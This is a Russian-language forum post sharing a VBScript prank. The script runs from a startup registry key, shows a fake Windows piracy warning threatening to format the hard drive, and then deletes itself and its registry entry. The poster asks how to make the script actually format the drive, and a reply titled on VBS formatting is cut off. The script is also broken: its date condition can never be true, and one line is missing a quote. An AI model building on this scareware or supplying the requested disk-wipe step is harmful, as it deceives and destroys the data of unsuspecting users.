ламо ушастое
Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
|
Вот пример который при перезагрузке выведет на экран ошибку и удалиться:
___________________________________________________________________________
If day(now)>31 Then
digital=MsgBox("Windows установила, что вы используете пиратскую версию системы. Windows обязана отформатировать жёсткий диск. Да - произвести форматирование немедленно. Нет - сделать это перед окончанием работы системы.", 20, "System error")
End If
Set Killer=CreateObject("Scripting.FileSystemObject")
Killer.DeleteFile(C:\Windows\System\message.vbs")
Set WSHShell=WScript.CreateObject("WScript.Shell")
WSHShell.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\StartUp Script"
_____________________________________________________________________________
Есесно сам фаил расположен по адресу C:\Windows\System\message.vbs
В реестре HKLM\Software\Microsoft\Windows\CurrentVersion\Run\StartUp
В строковом параметре "StartUp Script" находиться путь к фаилу.
Вопрос что нужно добавить в скрипт чтобы обещанное форматирование произошло?
|
Форматирование посредством VBS - 
